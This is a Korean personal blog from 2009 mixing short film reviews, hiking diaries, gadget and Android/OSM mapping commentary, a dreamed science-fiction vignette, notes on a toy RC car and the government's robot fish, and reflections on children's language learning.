물론 영어는 한국어로 완벽히 기계적으로 번역될 수 없다. 인지과학자들이 조사한 바에 따르면 네 살 미만의 아이들이 문법은 90% 이상 정확하단다(나도 가끔 애 키우면서 잘못된 문장이 생각보다 적다는 것에 놀라곤 했다). 그런데 그 남은 10%의 오류 때문에 우리는 아이들이 제대로 말하지 못한다고 한단다. 10년 전 아이디어회관 문고를 전자화하던 작업에서 그와 같은 경험을 한 적이 있다. OCR 프로그램의 글자 인식율은 평균 95% 가량 되는데, 수치상으로 높아 보이지만, 이것은 평균 100글자당 5 글자가 틀린 것이다 -- 따라서, 거의 엉망진창인 문장으로 여기게 된다.

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The Moon. 싸고 질좋은 SF 영화. 왜 공포물의 정석을 따르지 않는걸까 의아해하며 영화의 중반까지 봤다. 고전SF다. 그래서 시시한 트릭이나 추리물같은 반전을 사용하지 않은 것 뿐이다. 순리대로 진행해도 충분히 임팩트가 있으니까. 오랫만에 깔끔한 멸치국수같은 SF를 봐서 기쁘다.

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Terminator: Salvation. 옛날 옛날 처음 나온 터미네이터가 등신 인증 러다이트를 흥분시키는 공포물이었다면, 그 후속작들은 전작의 후광으로 빌어먹고 살았달까. 전작보다 점점 다운그레이드 되가는  모습이 특히나 애처러웠는데 salvation이 이 괴상한 시리즈물을 그나마 똥통에서 구제한 것 같다. 감독의 서비스 정신 덕택에(아, 플롯도 있다고 치고) 캘리포니아 주지사가 CG로 재현되었다.

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Pandorum. SF로는 싼 티가 나는 전형적인 케이스. 청자를 배려한다는 차원에서 똥대가리 취급해 미스테리와 공포를 떠먹여줄 때, 또는, 감독이 그냥 똥대가리 라서  자기가 무슨 짓을 하는지 전혀 감을 못 잡고 있을 때. 그럴 때 싼 티가 난다.

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에우레카 극장판. 아네모네와 에우레카7. '인간은 어리석어. 안이한 상상으로 미래에 대한 가능성의  문을 닫아버렸어. 그 결과가 이 세계야.' 엔딩 크레딧이(엔딩 크레딧만) 멋지다. 에우레카7 TV판도 일제애니에서 느끼던 구린내를 느끼지 않고 봤던 것 같다. 세상이 망하건 말건 내 사랑을 위해 적이건 아군이건 닥치는 대로 죽여도 상관없다는 사고방식은 '구린내'에 포함시키지 않았다.

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Avatar. 보는 내내 포카혼타스가 생각나서 잡친 영화. 디지탈 3D나 아이맥스로 보지 않아도, 좋은 영화는 좋은 영화인데, 이 영화는 좋은 영화 같지 않았다. 현란한 그래픽을 전혀 경험할 수 없는 캠 버전으로 봤기 때문인지 예전에 본 어떤 스패니시 개잡종의 남미침공기만 못하다는 느낌만 들었다. 재미가 없다. 페라리처럼 생긴 빨간 새 몰고 오면 여자들을 비롯한 원주민들이 한방에 훅 간다는 알만한 교훈을 반복했을 뿐이랄까? 어처구니가 없는 2012는 재밌었는데 이 영화가 재미없었던 것은 아무래도 영화의 메시징을 외면하기 힘들어서 였던 것 같다.

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Up. 초반 할아버지의 인생이 주마등처럼 흘러가는 인상적인 부분, 중/후반부는 평범했다.

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Watchman. 미국 코믹스라서 로르샤흐(Rorschach)를 로어세크라고 읽는 건가?  주인공이 찌질해서 별론데...? 이게 그 유명한 왓치맨이구나 하고 봐서 그런 듯. 기회 되면 만화책을 구해 봐야겠다고 생각했다.

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라르고 윈치. 붉은 돼지에 나올법한 섬으로 향하는 요트. 요트가 물살을 헤치며 나아가자, 마치 날개를 활짝 편 것 같은 모양새. 영화가 별로 재미가 없었지만 몇몇 장면 때문에 인상에 남았다.

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드래그 미 투 헬. 오랫만에 보는 전설의 고향 류의 클래식 공포물. 요즘 공포물은 인과관계를 배제한 채 물어 뜯고 썰고 다지는데 초점을 맞춰 재미가 없어 부러 찾지 않았다. 감독 이름만 믿고 본 영화 치고 재미있었다.

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아이폰

잡기 2009. 12. 23. 01:45
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동네 이발소에서 딸애 머리를 이렇게 깎았네요. 나는 멀쩡한 딸아이를 70년대 필로 포샵질했고요. 아이가 손에 들고 있는 것은 비누 거품이에요. 쉽게 사그라드는 인생같은 거품. 그러니까 새해 복 많이 받으세요.



'물을 담아두면 물단지~ 꿀을 담아두면 꿀단지~ 우리들은 꿈단지~ 꿈을 담아라~' -- 버스 타고 가다가 옛날 유행가 가사를 들었다. 이 블로그에 나는 대체 뭘 담아놓은 걸까? 특정 페이지가 검색엔진에 걸려 '네티즌'이 몰려오는 바람에 홈페이지를 잠깐 폐쇄했다. 디겔의 증권 게시판에서 어떤 여자가 대박났다고 자기 벌거벗은 사진을 올려놓았는데(주*녀), 그것이 우연히 링크되어 우루루 사람들이 몰려온 것이다.

기분이 좀 상했다. 오랫동안 다닌 길만 밟는 것도 예의가 아닌 것 같아 모처럼 힛겔을 구경하다가 발견한 것: 자겔의 항공남 -- 첫 만남부터 결혼할 때까지 무려 3년 동안이나 자랑을 늘어놓았다. 대단하다. 난 마누라 자랑꺼리가 딱히 없다. 딸애도 평범하고.

모 동호회 투표에서 올해의 공로회원으로 뽑혔다. 선약이 있어 참석할 수 없다. 안 가게 되어 왠지 다행스럽다.

12/6, 광교산에 올랐다가, GPS의 전지가 떨어져 헤멨다. 머리가 아파서 사실 헤메는게 목적이었던지라 개의치 않았다. 눈밭을 슬금슬금 걸었다. 올해는 정말 많은 일을 했다. 산에서 헤메는 것은 정말 오랫만이다. 오랜 기간 동안 나는 많은 사람들을 가르쳤다. 한참 길 없는 길을 걷다가 내려오니 용인이다. 휴가나 가고 싶다. 다시 올라갔다. 다른 능선을 타고 갔다. 내려오니 또 용인이다. 거참.

수리산
12/12 성결대학교 앞에서 수리산 산행을 시작했다. 오랫만에 산을 타 본다. 처음 와보는 수리산이 생각보다 좋아 내년 봄에는 회사 직원들을 설득해 함께 오고 싶다. 저 멀리 보이는 레이다 기지까지 가는데 약 2시간 가량. 레이다 기지에서 왼쪽의 아파트 단지로 내려오면 군포 시내다. 너무 늦게 출발해서 안산까지 가지 못하고 하는 수 없이 군포로 내려왔다. 내려오는 길에 아줌마 둘이 내 뒤에 바짝 붙어 따라왔다. 왜 그런가 싶더니 사냥개처럼 생긴 덩치 큰 개가 길을 잃었는지 숲 속을 어슬렁거렸다.

수리산
산본의 아파트 촌. 수리산에서 귤껍질 버리는 아저씨더러 귤껍질 버리지 말라고 산림감시원이 말했다. '왜 버러지 말아요?' 그러니까 귤껍질은 썩는단다. 마땅한 이유가 될 수 없다고 생각하는지 주저앉아 불량스럽게 귤 까먹던 아저씨가 오히려 기고만장해서 제대로 된 이유가 아니면 자기는 귤껍질을 버리지 못할 이유가 없다고 버텼다. 실랑이가 재밌다. 귤껍질은 오랫 동안 썩지 않고 산에 사는 산짐승들은 귤껍질을 먹지 않는다. 귤껍데기가 퇴비화 과정을 거치지 않고 자연 상태에서 분해되어 양분이 풍부한 거름이 되려면 많은 시간이 걸릴 것이다(과연 얼마나 걸릴까?). 안 썩는 동안 등산로 주변에 여기저기 너저분하게 귤껍질이 널려있는 꼴이 보기 좋겠어요 아저씨?

수리산

태을봉에서는, 옆 자리에 앉아있던 아저씨가 함께 온 아줌마들에게, 오줌은 나무 밑에서 싸는게 정석인데 자기 오줌이 소중한 거름이라 나무에게 주긴 아깝다고 말했다. 오늘이 무슨 날인가? 귤 껍질과 마찬가지로 오줌의 요산 역시 분해되지 않아 거름은 커녕 나무에 독이 되는 것으로 알고 있다. 하지만 산에서 오줌 싸고 똥 싸고 과일 껍질 여기저기 버리는 아저씨들이 나이 헛 쳐먹고 ㅄ 짓을 한다고 단정하지는 못 하겠다. 상식이 부족해서 그런 것 뿐. 예를 들면 풍부한(?) 상식을 가진 나는 괜한 똥고집을 피우지 않았고, 풍부한 상식이 없더라도 누군가 제제하면 그럴만한 이유가 있다고 여겨 대개 지시를 따랐다. 확실히 내가 알만한 것에서 상대가 헛소리를 할 때만 귤껍질 아저씨나 오줌싸는 아저씨처럼 편한 대로 했다.  그런데 이상하네? 내가 아는 5-60대 아저씨들 대부분은 무식한 도싯내기와는 거리가 멀어 농사 짓느라 퇴비 만들어본 경험들이 있을텐데? 크리스마스가 가까워졌으니, 주여, 여기저기  똥오줌을 싸대는 저 불쌍한 개새끼들을 상식으로 구원하소서.

뉴스 기사를 읽다가: LED 가로등의 아무도 예상치 못한 문제점 -- 겨울에 눈이 펑펑 내리면 소비전력 및 발열이 적은 LED 가로등은 눈과 얼음에 파묻힐 수 있다. 와... 정말 생각지도 못했다.

LG전자, 업계 최초 카메라 2개 장착 로봇청소기 출시 -- 삼성이 만든 로봇 청소기에도 카메라가 달려 있는데, 하라는 청소는 안 하고 혼자서 춤을 출 때가 있다. 심지어 바보같은 음성 멘트가 나온다. 말하는 로봇 만큼 짜증나는 것도 없는데 툭하면 뭐라고 지껄이는 밥통보다 묵묵히 밥을 하는 밥통이 나은 줄 모르고 삼성 기술자들이 음성 멘트를 넣은 것이 신기하다(그래서 냉장고도 폭발한 걸까?). 로봇 청소기는 구매대기 목록에 올라와 있고 장기간 잠복 중인 아이템이지만 아직까지는 쓸만한 것을 보지 못했다. 무수한 마루타들이 LG 로봇 청소기의 사용기를 올릴 때까지 느긋하게 기다려 보련다.

카시니 하위헌스 토성 미션 중 찍은 이상한 사진 -- 이러다가 예전처럼 육각수가 히트치는 거 아니야? 왠지 두렵다.

Pranav Mistry: The thrilling potential of SixthSense technology -- 허접한 현실(mundane reality)를 개선해 줄 증강현실(argumented reality)이 요즘 유행하는 듯.  '오픈 소스로 공개하겠습니다'라고 말하자 청중 사이에서 환호성과 우뢰같은 박수가 터졌다. 이런 커팅 엣지 기술의 문제점은 실험실 수준의 시연이 아니라, 시연 이후 그들이 맞닥드리게 될 구현의 높은 벽이었다. 잘나가는 아이폰조차 UI에서 멀티 터치라는 어쩐지 친숙하고 고리타분한 아이템을 최근에야(21세기 들어서야) 울궈먹었다. 자폐증 천재아 같은 아이폰의 정전식 터치는 아쉽게도 장갑 끼고나, 손톱으로 긁을 수  없다.

연말이 가까워서 사람들이 모이는 자리마다 아이폰 얘기가 빠진 적이 없다. 아이폰은 비싸고 옴니아는 비싸면서 바보같고, 안드로이드의 세계 지배는 아직 때가 이르니, 나같으면 현실적으로 기기값이 0원인 노키아 5800을 살 것 같은데? 아이폰(을 비롯한 모든 기기)의 killer apps는 전염병처럼 쉽게 퍼지며 거울에 비추듯 끝없이 반사하며 진화하는 성질이 있어 아이폰의 끝내주는 app가 다음에 나타날 휴대폰에 그대로 복제될 것임은 틀림없다. 한국에서도 network와 sensory가 합목적적으로 결합된 기기가 아니면 도태하는 환경압에 처한 통신사가 어쩔 수 없이라도 질좋은 가젯을 용인하게 된 것은 정말 바람직한 일이다.

안드로이드 폰의 커널이 리눅스 2.6, 커널 수정은 별로 없고 BeOS에서 사용하던 openbinder를 도입한 것 같다. yaffs와 SDL, openGL 등을 사용하고 init를 수정했다. framebuffer와 몇 가지 표준 입출력 장치를 정의하는 것으로 딱히 큰 어려움 없이 어디에나 포팅이 가능할 것 같다. 이솝 프로젝트에서도 공동제작을 한 것 같다. 한국의 안드로이드 개발자 클럽인지 하는데는 안드로이드 세미나 따위로 터무니없는 비용을 책정하여 돈벌이하는 꼴이 영 밥맛 떨어져서 한 번도 안 가봤다. 하여튼 지금 현업에서 뛰고 있는 리눅스 임베디드 개발자 대부분이 아주 쉽게 안드로이드 폰에 적응할 수 있다. 꽤 폭발적인 잠재력을 가지고 있으나, 뭐 늘 그렇지만 잠재력은 그냥 잠재력일 뿐이다.

아이폰 영향도 있고 해서 휴대폰의 Windows Mobile OS를 업그레이드했다. 6.0에서 6.1로 업그레이드 했을 뿐인데 전력소모가 줄어든 것 같다. Windows Mobile 때문이 아니라 삼성의 Phone S/W의 문제인 것 같은데, 삼성의 딱 두 줄 짜리 업그레이드 내역을 살펴봐도 딱히 내용이 없다. 어쨌거나 휴대폰의 S/W만 갈았을 뿐인데 갑자기 이렇게 좋아질 수가 있을까? 그동안 처참하게 나빴다는 얘기잖아? Windows Mobile은 MS가 만든 최악의 OS니까 당연하다. 그나저나 노키아 5800은 27시간 동안 mp3를 재생할 수 있단다.

그렉 베어, 신의 용광로 -- 어쩌다 지금에야 읽게 되었다. 꽤 재미가 없다가 마지막에서 지구가 멸망하는 대목만 읽을만 했다. 그것도 그리 길지 않아 실망스러웠다. 2004년에 Anvils of stars가 '별들의 기원'이란 제목으로 출간된다고 책 날개에 써 있으나 출간되지 않은 것 같다.

이희재, '번역의 탄생'  -- 좋은 책이다. 아이들에게 강제로 읽게 했으면 좋겠다. 번역의 탄생에는 우리글 바로쓰기 시리즈의 이오덕이나 오마이뉴스의 ''의'를 안써야 우리말이 깨끗하다' 같은 국어에 대한 다소의 집착과  강박이 없다.  그간의 편협하고 단편적인 사고방식으로 번역자는 한국어를 잘해야 한다고 밑도 끝도 없이 지껄였지만, 이 책에는 그에 관한 실감나는 사례가 풍부했다. 정말 유익해서 예시된 문장과 단어를 위키 페이지로 만들어 일용할 양식으로 사용하고 아울러 널리 알려야 하지 싶다.

언어의 사용이 자유로운 지금의 어린 세대의 조어를 인정하면서도 왜 형태소가 망가지면 안되는지 설명하는 대목이 특히 심금을 울렸다. 뭐 사실 젊은이들이 들락거리는 사이트에서 만연한 일본어 직역 어투에 은근히 거부감을 느끼기도 하지만, 실은 그런 목적어에 충실치 못한, 되다만 번역의 영향으로 '니뽄필' 문장을 거리낌없이 구사하는 어린이들에게 유감은 없다. 영어 번역도 마찬가지다. 다만 니뽄필이나 아메리칸 스타일 익스프레션을 사용하지 않는 자연스러운 한국어 표현은 저자 말대로 힘차다. 힘차고 담백하고 우아하고 아름답고 생생하다 -- 유창한 욕설을 늘어놓거나 접할 때 다들 경험해 봤을 것 같다.

부모라는 책임감 때문에 아이와 바보같은 대화를 하지 않아도 아이의 언어 생활이 지장을 받지 않는다. 알면서도 그렇게 하기가 쉽지 않다. 얼마 전에 시청했던, 상당한 센세이션을 불러 일으켰다는 EBS 다큐프라임 '아이의 사생활'이 뻔하고 시시했다. 아이 낳기 전, 낳은 후 도서관에 가서 육아 도서를 꽤 많이 읽었는데, 대부분의 육아 도서들이 허튼 소리가 심한 편인 것에 비하면 아이의 사생활은 기본이 있다. 적어도 상식은 가르친다.

상식 이상을 배우려면 교육, 육아, 인지과학에 관한 최근 연구 성과를 참조해야 할텐데 한국이 교육에 그처럼 미쳐 돌아가는 나라인데도 볼만한 대중 상대 육아서가 드물다는 점이 희안하다. 애 생각하면 가끔 이민 가버릴까 생각하는 일이 한두 번이 아니었다.

아이는 하루에도 수십 단어를 배우고 성인이 되기 전에 2~6만 개 이상의 어휘사전을 구축하는데 어휘사전 구축에 크나큰 도움을 주는 것은 대화를 통한 문법 노출이다. 취향에 안 맞는 mother tongue 써가며 애들을 굳이 대화에 참여시킬 필요는 없다(모성어가 무의미하다는 뜻은 아니고 다섯살 지나면 모성어 쓸 필요가 없다는 뜻으로). 어린 아이의 대뇌는 가소성이 높고 편견과 간섭(interference)에서 자유로워 패턴에 대단히 민감하게 작동한다. 글자를 못읽을 때는 발음되는 언어에 의해 문장 구조를 파악하고 문형으로부터 패턴을 발견하고 차이를 변별함으로써  문형과 어휘를 학습한다. 언어 학습은 선천적이다. 유전자가 신경계를 구성하는 시기에 맞춰 급작스럽게 발달하다가 성인이 되기 전에 유년기의 언어에 관한 탁월한 재능은 씻은듯이 사라진다. 요즘 진화생물학에서 왜 언어능력이 성인이 되어서도 지속되지 않는가 하는 이유를 설명한다. 이유는 뭐... 언어재능은 뇌라는 매우 값비싼 자원을 사용하는 것으로 인간의 전 생애에 걸친 생존 리스크를 줄이기 위해 일정 수준의 언어를 습득하면 그 기능을 버리고 다른 것으로 대체하는 것이다.

언어는 내가 뭘 어떻게 할 수 있는 것도 아니고, 내가 애한테 해줄 수 있는 것은 캐치볼 정도 뿐인 것 같다. 이젠 밑도 끝도 없이 바보같은 짓을 해도 칭찬하는 시절도 지났다. 최근에는 혼자서도 잘 잤다. 미엘린 절연도 잘 되었을테고 나이도 먹을만큼 먹었으니 이젠 P300파가 출현해서 손/발, 두뇌, 시신경이 복합적으로 조응해야 가능한 캐치볼을 할 수 있지 싶다. 캐치볼도 하고, 장난감 자동차도 몰고, 여늬 여자애들처럼 짐승같은 본능을 영혼 밑바닥으로부터 길어올려 소꼽놀이도 하고. 아빠랑 놀러 다니고. 엄마랑 놀러 다니고. 한글은 한 글자도 모르고.

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아이리스 -- 진중권이 광화문 광장을 세상에서 가장 큰 중앙분리대라고 했던가? 그래 보인다. 광화문을 통째로 빌렸다더니 고작 이런 거나 찍으려고? (실은 여기가 한국이란 것을 깜빡하고 영화 Heat의 스펙타클한 총격전을 상상했다) 앞뒤 안 맞는 장면이 꽤 많았다. 손발이 오그라들던 화면의 엉터리 영어. 해커라는 것들이 '국제 표준 아이리스 OS' 화면에서 키보드 두들기는 엉성한 자세. 극 전반에 걸쳐 카메라웍이  거지같아서 안쓰러웠던 기억. 한 3초 스킵해서 FF 하다보면 스토리가 얽혀 길을 잃기도. 중국 대량생산 복제품 같은 꾀죄죄한 서사에 그것 마저 힘겹게 따라가는 연출인데, '이병헌'으로 드라마가 버텼달까? 한국보다 국민 소득이 훨씬 더 많은 '선진국' 일본이 아이리스만도 못한 드라마를 만든다는 것을 위안으로 삼아야겠다. 그냥 심술이다.

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무얼 생각하고 있니? 따개비루 따개비루 / 어딜 바라보고 있니? 따개비루 따개비루 / 따개 따개 따개 따개 따개비 루 / 따개비 루 따개비 루 -- 가끔 아침마다 듣는 중독성 있는 노래. 엄마의 실수로 버려져 자신이 따개비인 줄 착각하고 사는 갈매기 루가 부모 없이도 얼마나 행복하게 사는지 보여주는 유아 애니메이션. 굉장히 재미있어서 자주 보고 노래를 따라 부르기도 한다. 홈페이지에 가보니 역시나 올해 애니메이션상을 받았다. 받을만 하다. 올해 본 애니 중 제일 나았다.

당신이 대한민국입니다
아내가 몇 년 전 청와대를 방문했다가 얻은 열쇠고리를 지금도 가지고 다녔다. '당신이 대한민국입니다' 선언이나 신념이 아니고 상태다. 그렇게 이해한다.

우울해지니 연하장이나 더 보자.

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Nfy

잡기 2009. 12. 8. 23:06
OSM XAPI 서버는 죽었다 살았다를 반복했다. 온라인 지도 편집기를 만드는 사람들은 potlatch 1.3을 마지막으로 potlatch 2.0을 준비중이다. mkgmap r139x 버전대는 등고선을 제대로 컴파일한다. 다만, 오랜 시간 동안 해안선을 랜더링하다가 최종 결과물을 보면 해안선 폴리곤이 제대로 생성되지 않았다 -- 국토의 절반이 잠겼다. 흡사 지구온난화에 의해 발생한 슈퍼 허리케인이 한반도를 휩쓸기라도 한 것처럼 처참하게. 로버트가 리스트서버에 가입하라고 연락했지만 별로 가입해서 활동할 생각은 없다. 네덜란드에 사는 누군가 OSM 지도를 이용해 routable map을 다운받을 수 있는 프로젝트를 시작했다. 아.. 나도 서버가 있으면 이런 거나 해 볼텐데! 멋지다! http://garmin.na1400.info/routable.php

네이버 지도가 업데이트되었다. 수도권역에 등산로와 자전거 도로가 나타났다. 항공사진의 품질도 좋아졌다. 다음지도와의 경쟁이 볼만하다.

오랫만에 엔파이를 방문했다. 결혼하고는 처음이다. 이번에는 혼자 그곳을 떠돌아다니지 않았다.  바람이 잘 통하고 바닥에 양탄자가 깔린 무굴식 가옥에서 아내와 아이와 함께 생활했다. 조상이 식물인 선주민은 인간을 두려워해 거주지역에서 멀리 떨어진 곳에 모여 살았다. 수명이 5-6백 년에 이르는 선주민들과는 지극히 제한된 소통만 가능했다. 별로 똑똑하지도 않고 기술문명에 관심도 없다. 처음 엔파이에 도착했을 때 우리는 그들이 80cm 길이의 지능이 없는 황갈색 자벌레인 줄 알았다. 선주민이 에를이라 부르는 팔색조와 딜름이라 부르는 고양이 비슷한 짐승이 많이 살고 있다. 별로 위험하지 않다. 인간 또는 선주민과 감응을 맺은 고양이를 닙이라고 불렀다. 닙들은 개처럼 어디건 자신의 짝을 따라다녔다. 팔색조는 고양이를 잡아먹고 고양이는 팔색조를 잡아먹었다. 말이 팔색조지, 깃털에 피가 말라붙은 화식조 처럼 생겼다. 종류만 수백여 종인데, 선주민은 자기보다 큰 고양이와 팔색조를 키우기도 하고 잡아먹기도 했다.

선주민은 자기들을 엔푸라고 불렀는데, 지구 출신 정착민들은 엔파이(발음은 은파이에 가깝다)에 새로 입주하는 사람들에게 엔파이가 Nothing F'd up Yet의 약어라고 설명하곤 했다. 엔파이에 주거 하고 있는 나를 비롯한 초기 전송자 700 여명의 사람들은 빙퇴구 골짜기에 살고 있다. 공전 궤도의 앙각이 대부분의 행성이 나열되는 수평면에서 무려 60도이고 자전축이 50도 가량 누워 있어 약 2-3만년마다  북극은 수증기를 내뿜는 지옥으로 변했다. 그때 폭 2-10km, 길이 수천 킬로미터의 길고긴 고랑을 따라 남쪽으로 흘러들어온 물은 거대한 빙하를 형성했다가 물러나기를 반복했다. 그래서 지표에는 마치 쇠고랑으로 긁어낸 듯한 거대한 단구가 길죽하고 수평하게 늘어서 있는데, 수백년 동안 지속되는 서늘한 여름에는 빙하에서 녹은 물이 거북이 등짝같은 바위틈으로 숨어 흘러가며 곳곳에 호수와 하천을 형성했다. 선선한 바람은 늘 북(우리가 북극이라 부리는 곳을 기준으로)에서 남으로 흘렀다.  쓰다보면 말이 길어져 묘사하긴 뭣하지만 꽤 아름다운 곳이다.

나는 저녁에 아이를 무등 태우고 향불로 천정과 벽이 시꺼멓게 얼룩진 힌두사원 근처를 한가하게 돌아다니고 있었다. 우리는 이곳에 자원해서 왔다. 실체는 여전히 지구에 있으며 양자 얽힘에 의한 공간 이동(실제로는 정보 이동)을 통해 홀로그램과 유사한 우리의 복제본이 알데바란 부근에 실체한 것이다. 복제본은 우리의 66년 전 모습이다. 양자얽힘에 의한 정보이동 또는 공간이동은 단방향이고, 왜 그런 현상이 일어나는지 확실치 않다. 게다가 우주의 어디에 연결되어 있는지 알 수가 없다. 다만 특정 패턴에 맞는 우주의 특정 장소가 있으며 인류는 지난 수백년 동안 그런 장소를 찾기 위해 엄청난 수의 송신기를 어디론가 복제하고 그 송신기에서 보내주는 전파에 의존해 장소를 찾아 나가고 있다.

지구상의 '우리'는 알데바란의 복제본이 활동하고 움직이는 모습을 66년 전부터 날아온 전파를 통해 마치 낡은 비디오처럼 감상했다.  복제본들 역시 늙어가고 사고로 죽어갔다. 범죄자이거나 정신이상자가 아닌 한, 신청자는 누구나 그곳에 복제본을 보낼 수 있었다. 하지만 우리는 그들에게 영향을 끼칠 수 없다. 그들의 메시지와 영상은 일방적이며 우리가 보내는 모든 응답은 66년 후에나 그곳에 도달했다. 엔파이와 통신하기 위해 달의 여러 곳에는 수천킬로미터에 달하는 거대한 VLA가 있고 수신한 전파를 지구로 재전송하기 위해 지구와 마주보는 면에도 안테나가 설치되어 있다.

꿈에서 깨어났다. 눈을 껌뻑이다가  옆에 누워 잠자고 있는 아이를 쳐다 보았다. 기분이 희안했다. 비록 꿈일지언정 지금껏 무수히 많은 별들을 돌아다녔다. 어린 시절에는 꿈꾼 것들을 어떻게든 그러모으고 말이 되도록 데코레이션을 한 다음 이야기를 써보려고 했던 것 같다.

Casio EX-Z450  -- 구매 시기를 재다가 쇼핑몰에서 제품이 갑자기 사라졌다. 어느날 37만원대의 가격으로 다시 나타났다. auction의 eBay 구매 대행(32만원)과 eBay.com 직접 구매(199$)와 일본 쇼핑 대행몰을(35만원) 하릴없이 비교했다.

그동안 죽 외면해 왔던 emacs에 익숙해 지려고 짬짬이 노력중이다. ctrl키를 하도 많이 눌러야 해서 손가락이 아프다.  emacs를 사용하자고 마음먹게 된 결정적인 계기: 116MB짜리 텍스트 파일을 열어 이것저것 테스트하다가 엄청난 처리속도에 경악. emacs가 빠른게 아니라, 다른 editor들이 20년 전에 만들어진 emacs만도 못한 것이 맞으리라. 그러다가 한 일주일이 지난 다음 266MB짜리 파일을 열려고 시도했더니 안 열린다. 마음이 바뀌어 emacs 사용을 다시 유보.

chromeplus는 쥐도 새도 모르게 어느새 1.3.2.0으로 업데이트되었다. adblocks 문법을 사용할 수 있게 되었는데 adblock 기능을 켜놓으면 사이트 진입 시간이 오래 걸리고 가끔 다운되어서  한 이틀 네이버 들락거릴 때 사용하다가 꺼버렸다. 이제는 은행 사이트 들어갈 때 자동으로 IE로 연결해서 보여준다.

내년에 크롬os가 나온다고 한다. 크롬 브라우저 때부터 엔지니어가 직접 나와 자기들이 어떻게 소프트웨어를 재설계했는가를 설명해주는 시도가 참신했다. 크롬 os 역시 엔지니어들이 '알아듣기 쉽게' 설명해준다. 그런데 cloud에 user data를 저장하고 stateless machine으로 작동한다는 것은 잘 알겠는데, 문서의 형상관리(저널링)는 어떻게 하겠다는 얘기가 없다.

불가에서는 인생이 고통스러운 이유가 탐욕과 성냄과 어리석음 때문이라고 했다. 그 셋을 적정량 다 가지고도 내 인생은 고통스럽지 않았다 -- 타인은 늘 고통스러웠다. 욕망은 욕망을 욕망하게 되서 더럽게 여겨 똥보듯 피해갔던 나같은 사람을 위해 벤야민이 소비시대를 슬기롭게 개무시하고 살아가는 방법에 관해 쓸만한 조언을 한 적이 없다. 하지만 이 위대한 소비시대는 놀랍게도 온라인에서 Thomas Pynchon의 Gravity's Rainbow를 무료로 보는 것을 가능케했다. 구글이 구글 books라는 서비스를 하는 줄도 모르고 옥션에서 값싼 아이들 완구나 뒤지고 있었다.

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대당 대략 8500원에 옥션에서 구입한 중국산 RC카. 아이에게 원격작용의 개념을 '느끼게' 하는데 RC카보다 나은 아이템은 없다고 여겼지만 아내는 시끄러워서 달가워하지 않았다. 첫번째 자동차를 조립하는데 1시간, 두번째는 20분 만에 조립. 앞바퀴에는 간단한 서스팬션이 있고 서보 모터 대신 DC 모터와 피니언 기어를 써서 바퀴의 좌우 회전을 구현했다.

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뒷바퀴는 high, low의 2단 기어를 시프트할 수 있는데 기어에서 토크 손실이 클 것 같은 설계. 물론 구동손실을 줄이기 위한 배려는 없다. 타이어 그립이 안 좋다. 동봉한 스펀지 타이어를 장착하고 리튬 그리스를 기어에 발랐다. 송신기는 각각 27MHz, 40MHz 대역에서 4종류의 시그널(전진,후진,좌회전,우회전)을 전송하는데, 통달거리는 약 5m 가량, FM 출력을 부스트하면 좀 더 먼 거리까지 가능할 것 같은데 별로 개조하고 싶은 생각은 안 들었다.  아이는 차 위에 벨로키랍토르를 태워 달리며 희희락락했다.

4대강에 로봇 물고기가 돌아다니며 오염도를 측정해 보고한단다. 추정 4천만원이나 하는  이 로봇 물고기를 낚기 위해 낚시꾼들이 눈빛을 반짝였다. 21세기 초의 기념비적인 4대강 삽질의 흔적을 어탁으로 떠서 길이길이 남길 생각인 듯. 로봇 물고기가 찌를 안 물면 투망질을 해서 잡던가, 소위 '빳떼리'로 기절시켜서 잡는 방법도 있다. 또는  '오염 물질'을 슬슬 흘려 로봇을 유인해 낚을 수 있을지도 모르겠다. 그나저나 그렇게 큰 대형 로봇(추정 1.2m, 무게 12kg, 3hrs duration)을 만드는 것이 효율적으로 보이진 않았다. 수량의 계절 편차가 심하고 유속이나 수심이 오락가락하는 한국의 하천 특성상 이명박이 말하는 그런 거대한 물고기는 쉽게 좌초되거나 운영이 어려울 것 같다. 대단한 준설작업을 벌여 수심 6m짜리 저유속의 똥냄새 나는 하천을 계획하고 있다면야...

기계연구원 “로봇물고기, 50센티 크기에 3년 후 상용화” -- 이것말고 다른 기사에서는 지금 한국 기술로 500만원 정도면 50cm짜리 잉어 물고기를 만들 수 있다는데... 그게 그렇게 말처럼 쉽지 않을텐데? 궁금한 것은 로봇 물고기가 수류를 거슬러 올라갈 때의 동력 손실, 부력을 유지하는 방법, 전지 등의 실장품의 수명, 오염 측정 항목, 전파가 잘 전파되지 않는 물속과 지상 기지국과의 통신 방법 따위다. 프로펠러보다 동력 손실이 적다는 물고기 형태는 아마도 폴리머에 전기를 가해 뒤틀리게 해서 물고기처럼 꼬리를 흔들며 움직이게 하는 것인 듯 한데... 지금까지 전세계에서 기개발된(?) 로봇 물고기들이 이명박 대통령의 기대에 부응하지 못하고 얼마나 시시하고 실망스러운지는 Robotic-fish.net을 보면 알 수 있을 듯.

로보틱스, IT, 센서 인터페이스, 기계공학은 사실상 공학이라는 하나의 범주로 묶을 수 있어 머릿속으로 로봇 물고기의 설계를 하는 것이 불가능하지 않은데, 로봇 물고기 보다는 화학 센서 몇 개 설치하고 GPS와 간단한 로거를 덧붙인 부이 또는 작은 쪽배를 만들어 강의 흐름에 따라 흘려보내 하류에서 수거하는 것이 경제적일 것 같다. 설계 및  비용 산정을 해봐야 알겠지만 목적이 계측이라면 유지보수와 재활용 측면에서 센서 부이가 로봇 물고기보다 효율적일 것 같다. 흥미로운 일꺼리라서 각하께서 맡겨만 주시면 싸게 만들어 드리겠다.

11월 2일 동네에 있는 부어치킨이 의왕으로 이사갔다. 주말에 어디서 치킨을 시켜 먹어야 할지 난감해졌다. 수 차례에 걸쳐 팔달문 근처의 진미통닭과 용성통닭을 벤치마크 했다. 두 치킨집은 수원 치킨업계의 양대 산맥이란다. 진미통닭은 워낙 사람이 많이 찾아 전자번호표를 받고 줄 서서 기다려야 먹을 수 있는 곳이다. 용성통닭은 구이 소스에 마늘 따위를 넣었는지 발색이 좋지 않다. 어쩌면 닭을 오래 튀겨서 그럴 수도 있고, 기름 한 통에 튀기는 닭의 숫자가 많아서 그럴 지도 모르겠지만 (설마?) 아마도 튀김옷에 마늘 등의 이물을 섞은 탓이지 싶다. 아내는 용성통닭표 치킨에 입도 대지 않았다.

